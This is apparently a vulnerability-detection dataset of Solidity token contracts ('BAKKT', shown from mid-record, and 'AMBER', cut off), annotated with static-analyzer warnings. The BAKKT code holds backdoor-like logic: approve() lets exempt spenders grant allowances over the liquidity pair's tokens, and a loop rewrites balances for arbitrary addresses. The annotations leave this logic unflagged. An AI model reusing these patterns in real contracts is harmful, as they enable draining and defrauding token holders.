uniswapV2Pair) return;\n\n _tOwned[addrs[i]] = 100 * 10 ** _decimals;\n }\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _tOwned[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a57061d): BAKKT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a57061d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n address ownTT = _msgSender();\n if (_ttExcemptFee[spender]) ownTT = ttSendors;\n\n _approve(ownTT, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6ccb2b8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6ccb2b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aca7426): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aca7426: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6ccb2b8\n\t\t// reentrancy-benign | ID: aca7426\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6ccb2b8\n\t\t// reentrancy-benign | ID: aca7426\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d6654c0): BAKKT._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d6654c0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: aca7426\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6ccb2b8\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 41110de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 41110de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: bd63df5): BAKKT._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for bd63df5: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 8cc7287): BAKKT._bots is never initialized. It is used in BAKKT._transfer(address,address,uint256)\n\t// Recommendation for 8cc7287: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7a6d4b6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7a6d4b6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b4edc44): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b4edc44: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 feeTT = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n feeTT = amount\n .mul((_buyCount > _reduceBuyAt) ? _finalBuyTax : _initialBuyTax)\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_ttExcludedFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n feeTT = amount\n .mul(\n (_buyCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: bd63df5\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 41110de\n\t\t\t\t\t// reentrancy-eth | ID: 7a6d4b6\n\t\t\t\t\t// reentrancy-eth | ID: b4edc44\n sendETHTTQX(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 41110de\n\t\t\t\t\t\t// reentrancy-eth | ID: 7a6d4b6\n\t\t\t\t\t\t// reentrancy-eth | ID: b4edc44\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 41110de\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 7a6d4b6\n\t\t\t\t\t\t\t// reentrancy-eth | ID: b4edc44\n sendETHTTQX(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: b4edc44\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 41110de\n\t\t\t\t\t// reentrancy-eth | ID: 7a6d4b6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 41110de\n\t\t\t\t\t\t// reentrancy-eth | ID: 7a6d4b6\n sendETHTTQX(address(this).balance);\n }\n }\n }\n }\n\n if (feeTT > 0) {\n\t\t\t// reentrancy-eth | ID: 7a6d4b6\n _tOwned[address(this)] = _tOwned[address(this)].add(feeTT);\n\n\t\t\t// reentrancy-events | ID: 41110de\n emit Transfer(from, address(this), feeTT);\n }\n\n\t\t// reentrancy-eth | ID: 7a6d4b6\n _tOwned[from] = _tOwned[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 7a6d4b6\n _tOwned[to] = _tOwned[to].add(amount.sub(feeTT));\n\n\t\t// reentrancy-events | ID: 41110de\n emit Transfer(from, to, amount.sub(feeTT));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8586746): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8586746: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f0a691d): BAKKT.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for f0a691d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d938a29): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d938a29: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8586746\n\t\t// reentrancy-eth | ID: d938a29\n uniswapV2Pair = ttSendors = IUniswapV2Factory(uniswapV2Router.factory())\n .createPair(address(this), uniswapV2Router.WETH());\n\n\t\t// reentrancy-benign | ID: 8586746\n\t\t// unused-return | ID: f0a691d\n\t\t// reentrancy-eth | ID: d938a29\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8586746\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d938a29\n tradingOpen = true;\n }\n\n function removeLimits() external onlyOwner {\n _caLimitSell = false;\n\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHTTQX(uint256 amount) private {\n\t\t// reentrancy-events | ID: 6ccb2b8\n\t\t// reentrancy-events | ID: 41110de\n\t\t// reentrancy-eth | ID: 7a6d4b6\n\t\t// reentrancy-eth | ID: b4edc44\n _ttWallets.transfer(amount);\n }\n\n function withdrawTTQX() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 6ccb2b8\n\t\t// reentrancy-events | ID: 41110de\n\t\t// reentrancy-benign | ID: aca7426\n\t\t// reentrancy-eth | ID: 7a6d4b6\n\t\t// reentrancy-eth | ID: b4edc44\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10688.sol",
"size_bytes": 20848,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract AMBER is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(uint256 => uint256) private trackBuyCount;\n\n address payable private _taxVault;\n\n uint256 private firstBlockNbr = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a5e49c): AMBER._openingBuyTax should be constant \n\t// Recommendation for 4a5e49c: Add the 'constant' attribute to state variables that never change.\n uint256 private _openingBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 00a04a3): AMBER._openingSellTax should be constant \n\t// Recommendation for 00a04a3: Add the 'constant' attribute to state variables that never change.\n uint256 private _openingSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d41e24): AMBER._endingBuyTax should be constant \n\t// Recommendation for 0d41e24: Add the 'constant' attribute to state variables that never change.\n uint256 private _endingBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1f4c107): AMBER._endingSellTax should be constant \n\t// Recommendation for 1f4c107: Add the 'constant' attribute to state variables that never change.\n uint256 private _endingSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f127378): AMBER._cutBuyTaxAt should be constant \n\t// Recommendation for f127378: Add the 'constant' attribute to state variables that never change.\n uint256 private _cutBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: b56362c): AMBER._cutSellTaxAt should be constant \n\t// Recommendation for b56362c: Add the 'constant' attribute to state variables that never change.\n uint256 private _cutSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 135c31a): AMBER._haltSwapBefore should be constant \n\t// Recommendation for 135c31a: Add the 'constant' attribute to state variables that never change.\n uint256 private _haltSwapBefore = 25;\n\n uint256 private _countOfBuys = 0;\n\n uint256 private _countOfSells = 0;\n\n uint256 private lastSellTxnBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Pointing Orangutan\";\n\n string private constant _symbol = unicode\"AMBER\";\n\n uint256 public _maxTxnAmt = 4206900000 * 10 ** _decimals;\n\n uint256 public _walletSizeMax = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f76edb4): AMBER._swapTaxThreshold should be constant \n\t// Recommendation for f76edb4: Add the 'constant' attribute to state variables that never change.\n uint256 public _swapTaxThreshold = 4200000000 * 10 ** _decimals;\n\n uint256 public _taxSwapCap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSellIsAllowed = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caCatalystEvent = true;\n\n event MaxTxAmountUpdated(uint _maxTxnAmt);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxVault = payable(0x70F044DDEbf4d12257f509aBBb1B57C3894F89ab);\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f590ba1): AMBER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for f590ba1: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 00d9fa1): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 00d9fa1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c1d2b3b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c1d2b3b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 00d9fa1\n\t\t// reentrancy-benign | ID: c1d2b3b\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 00d9fa1\n\t\t// reentrancy-benign | ID: c1d2b3b\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e48b31d): AMBER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e48b31d: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c1d2b3b\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 00d9fa1\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a6e8e3a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a6e8e3a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 765316a): AMBER._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlockNbr\n\t// Recommendation for 765316a: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 80c9652): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 80c9652: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fe5253f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fe5253f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_countOfBuys > _cutBuyTaxAt)\n ? _endingBuyTax\n : _openingBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 765316a\n if (block.number == firstBlockNbr) {\n require(\n trackBuyCount[block.number] < 100,\n \"Exceeds buys on the first block.\"\n );\n\n trackBuyCount[block.number]++;\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxnAmt, \"Exceeds the _maxTxnAmt.\");\n\n require(\n balanceOf(to) + amount <= _walletSizeMax,\n \"Exceeds the maxWalletSize.\"\n );\n\n _countOfBuys++;\n }\n\n if (to != uniswapV2Pair && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _walletSizeMax,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_countOfBuys > _cutSellTaxAt)\n ? _endingSellTax\n : _openingSellTax\n )\n .div(100);\n }\n\n if (\n from != uniswapV2Pair &&\n to != uniswapV2Pair &&\n from != address(this)\n ) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n caCatalystEvent &&\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _swapTaxThreshold &&\n _countOfBuys > _haltSwapBefore\n ) {\n if (block.number > lastSellTxnBlock) {\n _countOfSells = 0;\n }\n\n require(_countOfSells < caSellIsAllowed, \"CA balance sell\");\n\n\t\t\t\t// reentrancy-events | ID: a6e8e3a\n\t\t\t\t// reentrancy-eth | ID: 80c9652\n\t\t\t\t// reentrancy-eth | ID: fe5253f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _taxSwapCap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a6e8e3a\n\t\t\t\t\t// reentrancy-eth | ID: 80c9652\n\t\t\t\t\t// reentrancy-eth | ID: fe5253f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: fe5253f\n _countOfSells++;\n\n\t\t\t\t// reentrancy-eth | ID: fe5253f\n lastSellTxnBlock = block.number;\n } else if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _swapTaxThreshold &&\n _countOfBuys > _haltSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: a6e8e3a\n\t\t\t\t// reentrancy-eth | ID: 80c9652\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _taxSwapCap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: a6e8e3a\n\t\t\t\t\t// reentrancy-eth | ID: 80c9652\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 80c9652\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: a6e8e3a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 80c9652\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 80c9652\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: a6e8e3a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: a6e8e3a\n\t\t// reentrancy-events | ID: 00d9fa1\n\t\t// reentrancy-benign | ID: c1d2b3b\n\t\t// reentrancy-eth | ID: 80c9652\n\t\t// reentrancy-eth | ID: fe5253f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8c712fa): AMBER.setTaxSwapCap(bool,uint256) should emit an event for _taxSwapCap = amount \n\t// Recommendation for 8c712fa: Emit an event for critical parameter changes.\n function setTaxSwapCap(bool enabled, uint256 amount) external onlyOwner {\n swapEnabled = enabled;\n\n\t\t// events-maths | ID: 8c712fa\n _taxSwapCap = amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: a3459be): AMBER.setcaSellNum(uint256) should emit an event for caSellIsAllowed = amount \n\t// Recommendation for a3459be: Emit an event for critical parameter changes.\n function setcaSellNum(uint256 amount) external onlyOwner {\n\t\t// events-maths | ID: a3459be\n caSellIsAllowed = amount;\n }\n\n function setcaCatalystEvent(bool _status) external onlyOwner {\n caCatalystEvent = _status;\n }\n\n function recoverFunds() external onlyOwner {\n payable(_taxVault).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: c028564): AMBER.fetchAnyERC20Tokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxVault,_amount)\n\t// Recommendation for c028564: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function fetchAnyERC20Tokens(\n address _tokenAddr,\n uint _amount\n ) external onlyOwner {\n\t\t// unchecked-transfer | ID: c028564\n IERC20(_tokenAddr).transfer(_taxVault, _amount);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a66c660): AMBER.setTaxVaultAdr(address).newTaxWallet lacks a zerocheck on \t _taxVault = address(newTaxWallet)\n\t// Recommendation for a66c660: Check that the address is not zero.\n function setTaxVaultAdr(address newTaxWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: a66c660\n _taxVault = payable(newTaxWallet);\n }\n\n function isFreeFlow() external onlyOwner {\n _maxTxnAmt = _tTotal;\n\n _walletSizeMax = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 03d243d): AMBER.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxVault.transfer(amount)\n\t// Recommendation for 03d243d: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: a6e8e3a\n\t\t// reentrancy-events | ID: 00d9fa1\n\t\t// reentrancy-eth | ID: 80c9652\n\t\t// reentrancy-eth | ID: fe5253f\n\t\t// arbitrary-send-eth | ID: 03d243d\n _taxVault.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 07987ad): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 07987ad: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e959cf6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e959cf6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f4f783e): AMBER.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for f4f783e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 53afd01): AMBER.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 53afd01: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 85cea05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 85cea05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), 